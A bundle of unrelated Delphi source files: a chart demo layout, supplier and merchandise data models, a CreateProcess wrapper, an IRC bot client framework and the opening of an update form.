+ '<div id="BubbleChart" style="width: 33%"></div>'
+ '</div>'
+ '<div style="display: flex; width: 100%; height: 200px;">'
+ ' <div id="CalendarChart" style="width:1000px; height:200px; margin:auto"></div>'
+ '</div>'
+ '<div style="display: flex; width: 100%; height: 200px;">'
+ '<div id="CandlestickChart" style="width: 33%"></div>'
+ '<div id="DiffChart" style="width: 33%"></div>'
+ '<div id="IntervalsChart" style="width: 33%"></div>'
+ '</div>'
+ '<div style="display: flex; width: 100%; height: 250px;">'
+ ' <div id="GanttChart" style="width:1000px; height:250px; margin:auto"></div>'
+ '</div>'
+ '<div style="display: flex; width: 100%; height: 200px;">'
+ '<div id="BarChart" style="width: 33%"></div>'
+ '<div id="PieChart3D" style="width: 33%"></div>'
+ '<div id="GeoChart" style="width: 33%"></div>'
+ '</div>'
+ '<div style="display: flex; width: 100%; height: 200px;">'
+ ' <div id="TimelineChart" style="width:1000px; height:200px; padding-top:20px; margin:auto"></div>'
+ '</div>'
+ '<div style="display: flex; width: 100%; height: 200px;">'
+ '<div id="ComboChart" style="width: 33%"></div>'
+ '<div id="OrgChart" style="width: 33%"></div>'
+ '<div id="LineChart" style="width: 33%"></div>'
+ '</div>'
+ '<div style="display: flex; width: 100%; height: 200px;">'
+ '<div id="SankeyDiagram" style="width: 33%; padding:25px"></div>'
+ '<div id="ChartBarFormat" style="width: 33%; padding-left:100px; padding-top:20px; margin:auto"></div>'
+ '<div id="WaterfallChart" style="width: 33%"></div>'
+ '</div>'
+ '<div style="display: flex; width: 100%; height: 200px;">'
+ '<div id="MaterialScatterChart" style="width: 33%"></div>'
+ '<div id="TreeMapChart" style="width: 33%"></div>'
+ '<div id="WordTreesChart" style="width: 33%"></div>'
+ '</div>'
);
GChartsFrame.DocumentGenerate('AreaChart', GetAreaChart);
GChartsFrame.DocumentGenerate('BarChart', GetBarChart);
GChartsFrame.DocumentGenerate('BubbleChart', GetBubbleChart);
GChartsFrame.DocumentGenerate('CalendarChart', GetCalendarChart);
GChartsFrame.DocumentGenerate('CandlestickChart', GetCandlestickChart);
GChartsFrame.DocumentGenerate('ColumnChart', GetColumnChart);
GChartsFrame.DocumentGenerate('ComboChart', GetComboChart);
GChartsFrame.DocumentGenerate('GanttChart', GetGanttChart);
GChartsFrame.DocumentGenerate('DiffChart', GetDiffChart);
GChartsFrame.DocumentGenerate('PieChart3D', GetPieChart3D);
GChartsFrame.DocumentGenerate('GeoChart', GetGeoChart);
GChartsFrame.DocumentGenerate('TimelineChart', GetTimelineChart);
GChartsFrame.DocumentGenerate('IntervalsChart', GetIntervalsChart);
GChartsFrame.DocumentGenerate('OrgChart', GetOrgChart);
GChartsFrame.DocumentGenerate('LineChart', GetLineChart);
GChartsFrame.DocumentGenerate('SankeyDiagram', GetSankeyDiagram);
GChartsFrame.DocumentGenerate('ChartBarFormat', GetChartBarFormat);
GChartsFrame.DocumentGenerate('WaterfallChart', GetWaterfallChart);
GChartsFrame.DocumentGenerate('TreeMapChart', GetTreeMapChart);
GChartsFrame.DocumentGenerate('MaterialScatterChart', GetMaterialScatterChart);
GChartsFrame.DocumentGenerate('WordTreesChart', GetWordTreesChart);
GChartsFrame.DocumentPost;
end;
initialization
RegisterClass(TDemo_Overview);
end.
|
unit uModSuplier;
interface
uses
uModApp, uModTipePerusahaan, uModBank, uModTipePembayaran, uModTipeKirimPO,
System.Generics.Collections, uModRefPajak, uModRekening;
type
TModSuplierGroup = class;
TModTipeSuplier = class;
TModSuplierMerchanGroup = class;
TModMerchandise = class(TModApp)
private
FMERCHAN_CODE: string;
FMERCHAN_NAME: string;
public
class function GetTableName: String; override;
published
[AttributeOfCode]
property MERCHAN_CODE: string read FMERCHAN_CODE write FMERCHAN_CODE;
property MERCHAN_NAME: string read FMERCHAN_NAME write FMERCHAN_NAME;
end;
TModMerchandiseGroup = class(TModApp)
private
FMerchandise: TModMerchandise;
FMERCHANGRUP_CODE: string;
FMERCHANGRUP_NAME: string;
public
class function GetTableName: String; override;
published
[AttributeofForeign('REF$MERCHANDISE_ID')]
property Merchandise: TModMerchandise read FMerchandise write FMerchandise;
[AttributeOfCode]
property MERCHANGRUP_CODE: string read FMERCHANGRUP_CODE write
FMERCHANGRUP_CODE;
property MERCHANGRUP_NAME: string read FMERCHANGRUP_NAME write
FMERCHANGRUP_NAME;
end;
TModSubGroup = class(TModApp)
private
FMerchandiseGroup: TModMerchandiseGroup;
FSUBGRUP_CODE: string;
FSUBGRUP_NAME: string;
public
class function GetTableName: String; override;
published
[AttributeofForeign('REF$MERCHANDISE_GRUP_ID')]
property MerchandiseGroup: TModMerchandiseGroup read FMerchandiseGroup write
FMerchandiseGroup;
[AttributeOfCode]
property SUBGRUP_CODE: string read FSUBGRUP_CODE write FSUBGRUP_CODE;
property SUBGRUP_NAME: string read FSUBGRUP_NAME write FSUBGRUP_NAME;
end;
TModKategori = class(TModApp)
private
FSubGroup: TModSubGroup;
FKAT_CODE: string;
FKAT_NAME: string;
public
class function GetTableName: String; override;
published
[AttributeofForeign('REF$SUB_GRUP_ID')]
property SubGroup: TModSubGroup read FSubGroup write FSubGroup;
[AttributeOfCode]
property KAT_CODE: string read FKAT_CODE write FKAT_CODE;
property KAT_NAME: string read FKAT_NAME write FKAT_NAME;
end;
TModSuplier = class(TModApp)
private
FSUP_CODE: String;
FSUP_NAME: String;
FSUP_ADDRESS: String;
FSUP_POST_CODE: String;
FSUP_CITY: String;
FSUP_TELP: String;
FSUP_FAX: String;
FSUP_CONTACT_PERSON: String;
FSUP_TITLE: String;
FTIPE_PERUSAHAAN: TModTipePerusahaan;
FBANK: TModBank;
FSuplierMerchanGroups: tobjectlist<TModSuplierMerchanGroup>;
FSUP_BANK_ACCOUNT_NO: String;
FSUP_BANK_ACCOUNT_NAME: String;
FSUP_SERVICE_LEVEL: Double;
FSUPLIER_GROUP: TModSuplierGroup;
FSUP_NPWP_ALAMAT: String;
FSUP_NPWP: String;
FSUP_LR_TAX: String;
FSUP_IS_PKP: Integer;
FSUP_IS_ACTIVE: Integer;
FSUP_BANK_BRANCH: String;
FSUP_BANK_ADDRESS: String;
FIS_SO_BLACKLIST: Integer;
FSUP_EMAIL: String;
FTIPE_SUPLIER: TModTipeSuplier;
function GetSuplierMerchanGroups: tobjectlist<TModSuplierMerchanGroup>;
public
class function GetTableName: String; override;
property SuplierMerchanGroups: tobjectlist<TModSuplierMerchanGroup> read
GetSuplierMerchanGroups write FSuplierMerchanGroups;
published
property BANK: TModBank read FBANK write FBANK;
property SUPLIER_GROUP: TModSuplierGroup read FSUPLIER_GROUP write
FSUPLIER_GROUP;
property SUP_ADDRESS: String read FSUP_ADDRESS write FSUP_ADDRESS;
property SUP_BANK_ACCOUNT_NAME: String read FSUP_BANK_ACCOUNT_NAME write
FSUP_BANK_ACCOUNT_NAME;
property SUP_BANK_ACCOUNT_NO: String read FSUP_BANK_ACCOUNT_NO write
FSUP_BANK_ACCOUNT_NO;
property SUP_CITY: String read FSUP_CITY write FSUP_CITY;
property SUP_NPWP: String read FSUP_NPWP write FSUP_NPWP;
[AttributeOfCode] //sebagai unique, penjegahan level progam sebelum direcord db
property SUP_CODE: String read FSUP_CODE write FSUP_CODE;
property SUP_CONTACT_PERSON: String read FSUP_CONTACT_PERSON write
FSUP_CONTACT_PERSON;
property SUP_FAX: String read FSUP_FAX write FSUP_FAX;
property SUP_NPWP_ALAMAT: String read FSUP_NPWP_ALAMAT write FSUP_NPWP_ALAMAT;
property SUP_LR_TAX: String read FSUP_LR_TAX write FSUP_LR_TAX;
property SUP_IS_PKP: Integer read FSUP_IS_PKP write FSUP_IS_PKP;
property SUP_IS_ACTIVE: Integer read FSUP_IS_ACTIVE write FSUP_IS_ACTIVE;
property SUP_NAME: String read FSUP_NAME write FSUP_NAME;
property SUP_BANK_BRANCH: String read FSUP_BANK_BRANCH write FSUP_BANK_BRANCH;
property SUP_BANK_ADDRESS: String read FSUP_BANK_ADDRESS write
FSUP_BANK_ADDRESS;
property IS_SO_BLACKLIST: Integer read FIS_SO_BLACKLIST write FIS_SO_BLACKLIST;
property SUP_EMAIL: String read FSUP_EMAIL write FSUP_EMAIL;
property SUP_POST_CODE: String read FSUP_POST_CODE write FSUP_POST_CODE;
property SUP_SERVICE_LEVEL: Double read FSUP_SERVICE_LEVEL write
FSUP_SERVICE_LEVEL;
property SUP_TELP: String read FSUP_TELP write FSUP_TELP;
property SUP_TITLE: String read FSUP_TITLE write FSUP_TITLE;
[AttributeOfForeign('REF$TIPE_PERUSAHAAN_ID')] //relasi dg tabel lain yg butuh karakter unik
property TIPE_PERUSAHAAN: TModTipePerusahaan read FTIPE_PERUSAHAAN write
FTIPE_PERUSAHAAN;
[AttributeOfForeign('REF$TIPE_SUPLIER_ID')] //relasi dg tabel lain yg butuh karakter unik
property TIPE_SUPLIER: TModTipeSuplier read FTIPE_SUPLIER write FTIPE_SUPLIER;
end;
TModSuplierGroup = class(TModApp)
private
FGROUP_CODE: String;
FGROUP_NAME: String;
FGROUP_DESCRIPTION: String;
public
class function GetTableName: String; override;
published
property GROUP_DESCRIPTION: String read FGROUP_DESCRIPTION write
FGROUP_DESCRIPTION;
property GROUP_NAME: String read FGROUP_NAME write FGROUP_NAME;
[AttributeOfCode]
property GROUP_CODE: String read FGROUP_CODE write FGROUP_CODE;
end;
TModTipeSuplier = class(TModApp)
private
FTPSUP_CODE: String;
FTPSUP_NAME: String;
public
class function GetTableName: String; override;
published
[AttributeOfCode]
property TPSUP_CODE: String read FTPSUP_CODE write FTPSUP_CODE;
property TPSUP_NAME: String read FTPSUP_NAME write FTPSUP_NAME;
end;
[AttrUpdateDetails]
TModSuplierMerchanGroup = class(TModApp)
private
FSUPLIER: TModSuplier;
FMERCHANDISE_GRUP: TModMerchandiseGroup;
FSUPMG_IS_ENABLE_CN: Integer;
FSUPMG_CREDIT_LIMIT: Double;
FTIPE_PEMBAYARAN: TModTipePembayaran;
FSUPMG_TOP: Integer;
FSUPMG_LEAD_TIME: Integer;
FSUPMG_AP_ENDING_BALANCE: Double;
FSUPMG_CN_BALANCE: Double;
FSUPMG_LAST_PAYMENT: Double;
FSUPMG_OUTSTANDING_PAYMENT: Double;
FSUPMG_LAST_PURCHASE: TDateTime;
FSUPMG_NO_OF_PO: Integer;
FSUPMG_DESCRIPTION: string;
FSUPMG_IS_MON: Integer;
FSUPMG_IS_TUE: Integer;
FSUPMG_IS_WED: Integer;
FSUPMG_IS_THU: Integer;
FSUPMG_IS_FRI: Integer;
FSUPMG_IS_SAT: Integer;
FSUPMG_IS_SUN: Integer;
FTIPE_KIRIM_PO: TModTipeKirimPO;
FSUPMG_ADDRESS: string;
FSUPMG_CITY: string;
FSUPMG_POST_CODE: string;
FSUPMG_TELP: string;
FSUPMG_FAX: string;
FSUPMG_CONTACT_PERSON: string;
FSUPMG_TITLE: string;
FBANK: TModBank;
FSUPMG_BANK_ACCOUNT_NO: string;
FSUPMG_BANK_ACCOUNT_NAME: string;
FSUPMG_EMAIL: string;
FSUPMG_SUB_CODE: string;
FSUPMG_FEE: Double;
FSUPMG_IS_PKP: Integer;
FSUPMG_IS_ID_DIFF: Integer;
FSUPMG_IS_FEE_4ALL: Integer;
FSUPMG_HO_AUTHORIZE: Integer;
FSUPMG_PAJAK: TModRefPajak;
FSUPMG_DISC: Double;
FSUPMG_NAME: string;
FSUPMG_IS_DIF_CONTACT: Integer;
FSUPMG_Rekening_Hutang: TModRekening;
FSUPMG_Rekening_Piutang: TModRekening;
public
class function GetTableName: String; override;
published
[AttributeOfHeader]
property SUPLIER: TModSuplier read FSUPLIER write FSUPLIER;
[AttributeOfForeign('REF$MERCHANDISE_GRUP_ID')] //relasi dg tabel lain yg butuh karakter unik
property MERCHANDISE_GRUP: TModMerchandiseGroup read FMERCHANDISE_GRUP write
FMERCHANDISE_GRUP;
property SUPMG_IS_ENABLE_CN: Integer read FSUPMG_IS_ENABLE_CN write
FSUPMG_IS_ENABLE_CN;
property SUPMG_CREDIT_LIMIT: Double read FSUPMG_CREDIT_LIMIT write
FSUPMG_CREDIT_LIMIT;
[AttributeOfForeign('REF$TIPE_PEMBAYARAN_ID')] //relasi dg tabel lain yg butuh karakter unik
property TIPE_PEMBAYARAN: TModTipePembayaran read FTIPE_PEMBAYARAN write
FTIPE_PEMBAYARAN;
property SUPMG_TOP: Integer read FSUPMG_TOP write FSUPMG_TOP;
property SUPMG_LEAD_TIME: Integer read FSUPMG_LEAD_TIME write FSUPMG_LEAD_TIME;
property SUPMG_AP_ENDING_BALANCE: Double read FSUPMG_AP_ENDING_BALANCE write
FSUPMG_AP_ENDING_BALANCE;
property SUPMG_CN_BALANCE: Double read FSUPMG_CN_BALANCE write
FSUPMG_CN_BALANCE;
property SUPMG_LAST_PAYMENT: Double read FSUPMG_LAST_PAYMENT write
FSUPMG_LAST_PAYMENT;
property SUPMG_OUTSTANDING_PAYMENT: Double read FSUPMG_OUTSTANDING_PAYMENT
write FSUPMG_OUTSTANDING_PAYMENT;
property SUPMG_LAST_PURCHASE: TDateTime read FSUPMG_LAST_PURCHASE write
FSUPMG_LAST_PURCHASE;
property SUPMG_NO_OF_PO: Integer read FSUPMG_NO_OF_PO write FSUPMG_NO_OF_PO;
property SUPMG_DESCRIPTION: string read FSUPMG_DESCRIPTION write
FSUPMG_DESCRIPTION;
property SUPMG_IS_MON: Integer read FSUPMG_IS_MON write FSUPMG_IS_MON;
property SUPMG_IS_TUE: Integer read FSUPMG_IS_TUE write FSUPMG_IS_TUE;
property SUPMG_IS_WED: Integer read FSUPMG_IS_WED write FSUPMG_IS_WED;
property SUPMG_IS_THU: Integer read FSUPMG_IS_THU write FSUPMG_IS_THU;
property SUPMG_IS_FRI: Integer read FSUPMG_IS_FRI write FSUPMG_IS_FRI;
property SUPMG_IS_SAT: Integer read FSUPMG_IS_SAT write FSUPMG_IS_SAT;
property SUPMG_IS_SUN: Integer read FSUPMG_IS_SUN write FSUPMG_IS_SUN;
[AttributeOfForeign('REF$TIPE_KIRIM_PO_ID')] //relasi dg tabel lain yg butuh karakter unik
property TIPE_KIRIM_PO: TModTipeKirimPO read FTIPE_KIRIM_PO write
FTIPE_KIRIM_PO;
property SUPMG_ADDRESS: string read FSUPMG_ADDRESS write FSUPMG_ADDRESS;
property SUPMG_CITY: string read FSUPMG_CITY write FSUPMG_CITY;
property SUPMG_POST_CODE: string read FSUPMG_POST_CODE write FSUPMG_POST_CODE;
property SUPMG_TELP: string read FSUPMG_TELP write FSUPMG_TELP;
property SUPMG_FAX: string read FSUPMG_FAX write FSUPMG_FAX;
property SUPMG_CONTACT_PERSON: string read FSUPMG_CONTACT_PERSON write
FSUPMG_CONTACT_PERSON;
property SUPMG_TITLE: string read FSUPMG_TITLE write FSUPMG_TITLE;
property BANK: TModBank read FBANK write FBANK;
property SUPMG_BANK_ACCOUNT_NO: string read FSUPMG_BANK_ACCOUNT_NO write
FSUPMG_BANK_ACCOUNT_NO;
property SUPMG_BANK_ACCOUNT_NAME: string read FSUPMG_BANK_ACCOUNT_NAME write
FSUPMG_BANK_ACCOUNT_NAME;
property SUPMG_EMAIL: string read FSUPMG_EMAIL write FSUPMG_EMAIL;
[AttributeOfCode]
property SUPMG_SUB_CODE: string read FSUPMG_SUB_CODE write FSUPMG_SUB_CODE;
property SUPMG_FEE: Double read FSUPMG_FEE write FSUPMG_FEE;
property SUPMG_IS_PKP: Integer read FSUPMG_IS_PKP write FSUPMG_IS_PKP;
property SUPMG_IS_ID_DIFF: Integer read FSUPMG_IS_ID_DIFF write
FSUPMG_IS_ID_DIFF;
property SUPMG_IS_FEE_4ALL: Integer read FSUPMG_IS_FEE_4ALL write
FSUPMG_IS_FEE_4ALL;
property SUPMG_HO_AUTHORIZE: Integer read FSUPMG_HO_AUTHORIZE write
FSUPMG_HO_AUTHORIZE;
[AttributeOfForeign('REF$PAJAK_ID')]
property SUPMG_PAJAK: TModRefPajak read FSUPMG_PAJAK write FSUPMG_PAJAK;
property SUPMG_DISC: Double read FSUPMG_DISC write FSUPMG_DISC;
property SUPMG_NAME: string read FSUPMG_NAME write FSUPMG_NAME;
property SUPMG_IS_DIF_CONTACT: Integer read FSUPMG_IS_DIF_CONTACT write
FSUPMG_IS_DIF_CONTACT;
property SUPMG_Rekening_Hutang: TModRekening read FSUPMG_Rekening_Hutang write
FSUPMG_Rekening_Hutang;
property SUPMG_Rekening_Piutang: TModRekening read FSUPMG_Rekening_Piutang
write FSUPMG_Rekening_Piutang;
end;
implementation
function TModSuplier.GetSuplierMerchanGroups:
Tobjectlist<TModSuplierMerchanGroup>;
begin
if not assigned(FSuplierMerchanGroups) then
FSuplierMerchanGroups := Tobjectlist<TModSuplierMerchanGroup>.create;
Result := FSuplierMerchanGroups;
end;
class function TModSuplier.GetTableName: String;
begin
Result := 'SUPLIER';
end;
class function TModSuplierGroup.GetTableName: String;
begin
Result := 'SUPLIER_GROUP';
end;
class function TModTipeSuplier.GetTableName: String;
begin
Result := 'REF$TIPE_SUPLIER';
end;
class function TModSuplierMerchanGroup.GetTableName: String;
begin
Result := 'SUPLIER_MERCHAN_GRUP';
end;
class function TModMerchandiseGroup.GetTableName: String;
begin
Result := 'REF$MERCHANDISE_GRUP';
end;
class function TModMerchandise.GetTableName: String;
begin
Result := 'REF$MERCHANDISE';
end;
class function TModSubGroup.GetTableName: String;
begin
Result := 'REF$SUB_GRUP';
end;
class function TModKategori.GetTableName: String;
begin
Result := 'REF$KATEGORI';
end;
initialization
//if error "can not instantiate type of uModel.xxxx" occured, register here
TModSuplier.RegisterRTTI;
TModSuplierGroup.RegisterRTTI;
TModTipeSuplier.RegisterRTTI;
TModSuplierMerchanGroup.RegisterRTTI;
end.
|
unit ExecProc;
interface
uses
Windows;
type
TCommandLine = type String;
function ProcessExecute(CommandLine: TCommandLine; cShow: Word): boolean;
implementation
uses ShellAPI;
function ProcessExecute(CommandLine: TCommandLine; cShow: Word): boolean;
{ This method encapsulates the call to CreateProcess() which creates
a new process and its primary thread. This is the method used in
Win32 to execute another application, This method requires the use
of the TStartInfo and TProcessInformation structures. These structures
are not documented as part of the Delphi 2.0 online help but rather
the Win32 help as STARTUPINFO and PROCESS_INFORMATION.
The CommandLine paremeter specifies the pathname of the file to
execute.
The cShow paremeter specifies one of the SW_XXXX constants which
specifies how to display the window. This value is assigned to the
sShowWindow field of the TStartupInfo structure. }
var
Rslt: LongBool;
StartUpInfo: TStartUpInfo; // documented as STARTUPINFO
ProcessInfo: TProcessInformation; // documented as PROCESS_INFORMATION
begin
{ Clear the StartupInfo structure }
FillChar(StartupInfo, SizeOf(TStartupInfo), 0);
{ Initialize the StartupInfo structure with required data.
Here, we assign the SW_XXXX constant to the wShowWindow field
of StartupInfo. When specifing a value to this field the
STARTF_USESSHOWWINDOW flag must be set in the dwFlags field.
Additional information on the TStartupInfo is provided in the Win32
online help under STARTUPINFO. }
with StartupInfo do begin
cb := SizeOf(TStartupInfo); // Specify size of structure
dwFlags := STARTF_USESHOWWINDOW or STARTF_FORCEONFEEDBACK;
wShowWindow := cShow
end;
{ Create the process by calling CreateProcess(). This function
fills the ProcessInfo structure with information about the new
process and its primary thread. Detailed information is provided
in the Win32 online help for the TProcessInfo structure under
PROCESS_INFORMATION. }
Rslt := CreateProcess(nil, PChar(CommandLine), nil, nil, False,
NORMAL_PRIORITY_CLASS, nil, nil, StartupInfo, ProcessInfo);
{ If Rslt is true, then the CreateProcess call was successful.
Otherwise, GetLastError will return an error code representing the
error which occurred. }
if Rslt then
with ProcessInfo do begin
{ Wait until the process is in idle. }
WaitForInputIdle(hProcess, INFINITE);
CloseHandle(hThread); // Free the hThread handle
CloseHandle(hProcess);// Free the hProcess handle
Result := True; // Set Result to True, meaning successful
end
else Result := False; // Set result to the error code.
end;
end.
|
unit bot_data;
interface
uses
Windows,
SysUtils,
Classes,
Graphics,
Controls,
Forms,
Sockets,
ScktComp,
Dialogs,
ExtCtrls,
StrUtils;
type
TBotClientThread = class;
TBotServer = class;
TBotServerArray = class;
TBotChannel = class;
TBotChannelArray = class;
TBotUser = class;
TBotUserArray = class;
{ TBotMessage }
TBotMessage = record
Command: string;
Data: string;
Destination: string;
Hostname: string;
Nick: string;
Params: string;
Prefix: string;
Server: string;
TimeStamp: TDateTime;
Trailing: string;
User: string;
Valid: Boolean;
end;
TBotReceiveEvent = procedure(const Server: TBotServer; const Msg: TBotMessage; const Data: string) of object;
{ TBotAddin }
TBotAddin = class(TObject)
end;
{ TBotAddinArray }
TBotAddinArray = class(TObject)
private
FAddins: Classes.TList;
private
function GetCount: Integer;
function GetAddin(const Index: Integer): TBotAddin;
public
constructor Create;
destructor Destroy; override;
public
property Count: Integer read GetCount;
property Addins[const Index: Integer]: TBotAddin read GetAddin; default;
end;
{ TBotClientThread }
TBotClientThread = class(TThread)
private
FClient: Sockets.TTcpClient;
FServer: TBotServer;
FBuffer: string;
private
procedure ClientError(Sender: TObject; SocketError: Integer);
procedure ClientSend(Sender: TObject; Buf: PAnsiChar; var DataLen: Integer);
public
constructor Create(CreateSuspended: Boolean);
procedure Update;
procedure Send(const Msg: string);
procedure Execute; override;
public
property Server: TBotServer read FServer write FServer;
end;
{ TBotServer }
TBotServer = class(TObject)
private
FRemoteHost: string;
FRemotePort: string;
FNickName: string;
FUserName: string;
FFullName: string;
FHostName: string;
FServerName: string;
FNickServPasswordFileName: string;
FHandler: TBotReceiveEvent;
FThread: TBotClientThread;
public
constructor Create(const Handler: TBotReceiveEvent);
destructor Destroy; override;
public
procedure Connect(const RemoteHost, RemotePort, NickName, UserName, FullName, HostName, ServerName: string);
procedure Send(const Msg: string; const Obfuscate: Boolean = False);
public
property RemoteHost: string read FRemoteHost;
property RemotePort: string read FRemotePort;
property NickName: string read FNickName;
property UserName: string read FUserName;
property FullName: string read FFullName;
property HostName: string read FHostName;
property ServerName: string read FServerName;
property NickServPasswordFileName: string read FNickServPasswordFileName;
public
property Handler: TBotReceiveEvent read FHandler write FHandler;
end;
{ TBotServerArray }
TBotServerArray = class(TObject)
private
FGlobalHandler: TBotReceiveEvent;
FServers: Classes.TList;
private
function GetCount: Integer;
function GetServer(const Index: Integer): TBotServer;
function GetHostName(const HostName: string): TBotServer;
public
constructor Create(const GlobalHandler: TBotReceiveEvent);
destructor Destroy; override;
public
function Add: TBotServer;
function IndexOf(const HostName: string): Integer;
public
property Count: Integer read GetCount;
property Servers[const Index: Integer]: TBotServer read GetServer;
property HostNames[const HostName: string]: TBotServer read GetHostName; default;
end;
{ TBotChannel }
TBotChannel = class(TObject)
private
public
constructor Create;
destructor Destroy; override;
public
end;
{ TBotChannelArray }
TBotChannelArray = class(TObject)
private
public
constructor Create;
destructor Destroy; override;
public
end;
{ TBotUser }
TBotUser = class(TObject)
private
public
constructor Create;
public
end;
{ TBotUserArray }
TBotUserArray = class(TObject)
private
public
constructor Create;
destructor Destroy; override;
public
end;
procedure ProcessSleep(const Milliseconds: Cardinal);
function ParseMessage(const Data: string): TBotMessage;
implementation
procedure ProcessSleep(const Milliseconds: Cardinal);
var
n: Cardinal;
begin
n := Windows.GetTickCount;
while (Windows.GetTickCount - n) < Milliseconds do
Application.ProcessMessages;
end;
function ParseMessage(const Data: string): TBotMessage;
var
S: string;
sub: string;
i: Integer;
begin
Result.Valid := False;
Result.TimeStamp := Now;
Result.Data := Data;
S := Data;
// :<prefix> <command> <params> :<trailing>
// the only required part of the message is the command
// if there is no prefix, then the source of the message is the server for the current connection (such as for PING)
if Copy(Data, 1, 1) = ':' then
begin
i := Pos(' ', S);
if i > 0 then
begin
Result.Prefix := Copy(S, 2, i - 2);
S := Copy(S, i + 1, Length(S) - i);
end;
end;
i := Pos(' :', S);
if i > 0 then
begin
Result.Trailing := Copy(S, i + 2, Length(S) - i - 1);
S := Copy(S, 1, i - 1);
end;
i := Pos(' ', S);
if i > 0 then
begin
// params found
Result.Params := Copy(S, i + 1, Length(S) - i);
S := Copy(S, 1, i - 1);
end;
Result.Command := S;
if Result.Command = '' then
Exit;
Result.Valid := True;
if Result.Prefix <> '' then
begin
// prefix format: nick!user@hostname
i := Pos('!', Result.Prefix);
if i > 0 then
begin
Result.Nick := Copy(Result.Prefix, 1, i - 1);
sub := Copy(Result.Prefix, i + 1, Length(Result.Prefix) - i);
i := Pos('@', sub);
if i > 0 then
begin
Result.User := Copy(sub, 1, i - 1);
Result.Hostname := Copy(sub, i + 1, Length(sub) - i);
end;
end
else
Result.Nick := Result.Prefix;
end;
i := Pos(' ', Result.Params);
if i <= 0 then
Result.Destination := Result.Params;
end;
{ TBotAddinArray }
constructor TBotAddinArray.Create;
begin
FAddins := Classes.TList.Create;
end;
destructor TBotAddinArray.Destroy;
var
i: Integer;
begin
for i := 0 to Count - 1 do
Addins[i].Free;
FAddins.Free;
inherited;
end;
function TBotAddinArray.GetAddin(const Index: Integer): TBotAddin;
begin
if (Index >= 0) and (Index < Count) then
Result := FAddins[Index]
else
Result := nil;
end;
function TBotAddinArray.GetCount: Integer;
begin
Result := FAddins.Count;
end;
{ TBotClientThread }
constructor TBotClientThread.Create(CreateSuspended: Boolean);
begin
inherited;
FreeOnTerminate := True;
end;
procedure TBotClientThread.Execute;
var
Buf: Char;
const
TERMINATOR: string = #13#10;
begin
try
FClient := TTcpClient.Create(nil);
FClient.OnError := ClientError;
FClient.OnSend := ClientSend;
try
FClient.RemoteHost := FClient.LookupHostAddr(FServer.RemoteHost);
FClient.RemotePort := FServer.RemotePort;
if FClient.Connect = False then
begin
FBuffer := '<< CONNECTION ERROR >>';
Synchronize(Update);
Exit;
end;
FBuffer := '<< CONNECTED >>';
Synchronize(Update);
Send('NICK ' + FServer.NickName);
Send('USER ' + FServer.UserName + ' ' + FServer.HostName + ' ' + FServer.ServerName + ' :' + FServer.FullName);
FBuffer := '';
while (Application.Terminated = False) and (Self.Terminated = False) and (FClient.Connected = True) do
begin
Buf := #0;
FClient.ReceiveBuf(Buf, 1);
if Buf <> #0 then
begin
FBuffer := FBuffer + Buf;
if Copy(FBuffer, Length(FBuffer) - Length(TERMINATOR) + 1, Length(TERMINATOR)) = TERMINATOR then
begin
FBuffer := Copy(FBuffer, 1, Length(FBuffer) - Length(TERMINATOR));
Synchronize(Update);
FBuffer := '';
end;
end
else
begin
if FBuffer <> '' then
begin
Synchronize(Update);
FBuffer := '';
end;
end;
end;
FBuffer := '<< DISCONNECTED >>';
Synchronize(Update);
finally
FClient.Free;
end;
except
FBuffer := '<< EXCEPTION ERROR >>';
Synchronize(Update);
end;
end;
procedure TBotClientThread.Send(const Msg: string);
begin
if Assigned(FClient) then
if FClient.Connected then
FClient.Sendln(Msg);
end;
procedure TBotClientThread.Update;
var
Msg: TBotMessage;
begin
if Assigned(FServer.Handler) = False then
Exit;
Msg := ParseMessage(FBuffer);
Msg.Server := FServer.RemoteHost;
FServer.Handler(FServer, Msg, FBuffer);
end;
procedure TBotClientThread.ClientError(Sender: TObject; SocketError: Integer);
begin
//
end;
procedure TBotClientThread.ClientSend(Sender: TObject; Buf: PAnsiChar; var DataLen: Integer);
begin
//
end;
{ TBotServer }
procedure TBotServer.Connect(const RemoteHost, RemotePort, NickName, UserName, FullName, HostName, ServerName: string);
begin
FRemoteHost := RemoteHost;
FRemotePort := RemotePort;
FNickName := NickName;
FUserName := UserName;
FFullName := FullName;
FHostName := HostName;
FServerName := ServerName;
FThread.Resume;
end;
constructor TBotServer.Create(const Handler: TBotReceiveEvent);
begin
FHandler := Handler;
FThread := TBotClientThread.Create(True);
FThread.Server := Self;
end;
destructor TBotServer.Destroy;
begin
//
inherited;
end;
procedure TBotServer.Send(const Msg: string; const Obfuscate: Boolean = False);
begin
FThread.Send(Msg);
if Obfuscate = False then
if Assigned(FHandler) then
FHandler(Self, ParseMessage(Msg), Msg);
end;
{ TBotServerArray }
function TBotServerArray.Add: TBotServer;
begin
Result := TBotServer.Create(FGlobalHandler);
FServers.Add(Result);
end;
constructor TBotServerArray.Create(const GlobalHandler: TBotReceiveEvent);
begin
FGlobalHandler := GlobalHandler;
FServers := Classes.TList.Create;
end;
destructor TBotServerArray.Destroy;
var
i: Integer;
begin
for i := 0 to Count - 1 do
Servers[i].Free;
FServers.Free;
inherited;
end;
function TBotServerArray.GetCount: Integer;
begin
Result := FServers.Count;
end;
function TBotServerArray.GetHostName(const HostName: string): TBotServer;
var
i: Integer;
begin
i := IndexOf(HostName);
if i >= 0 then
Result := Servers[i]
else
Result := nil;
end;
function TBotServerArray.GetServer(const Index: Integer): TBotServer;
begin
if (Index >= 0) and (Index < Count) then
Result := FServers[Index]
else
Result := nil;
end;
function TBotServerArray.IndexOf(const HostName: string): Integer;
var
i: Integer;
begin
for i := 0 to Count - 1 do
if Servers[i].HostName = HostName then
begin
Result := i;
Exit;
end;
Result := -1;
end;
{ TBotChannel }
constructor TBotChannel.Create;
begin
end;
destructor TBotChannel.Destroy;
begin
inherited;
end;
{ TBotChannelArray }
constructor TBotChannelArray.Create;
begin
end;
destructor TBotChannelArray.Destroy;
begin
inherited;
end;
{ TBotUser }
constructor TBotUser.Create;
begin
end;
{ TBotUserArray }
constructor TBotUserArray.Create;
begin
end;
destructor TBotUserArray.Destroy;
begin
inherited;
end;
end.
|
unit UnitFormInternetUpdating;
interface
uses
Winapi.Windows,
Winapi.ShellAPI,
System.SysUtils,
System.Classes,
Vcl.Graphics,
Vcl.Controls,
Vcl.Forms,
Vcl.Dialogs,
Vcl.StdCtrls,
Vcl.ComCtrls,
Dmitry.Utils.System,
Dmitry.Controls.Base,
Dmitry.Controls.WebLink,
uSettings,
uSiteUtils,
uDBForm,
uInternetUtils;
type
TFormInternetUpdating = class(TDBForm)
RedInfo: TRichEdit;
WlHomePage: TWebLink;
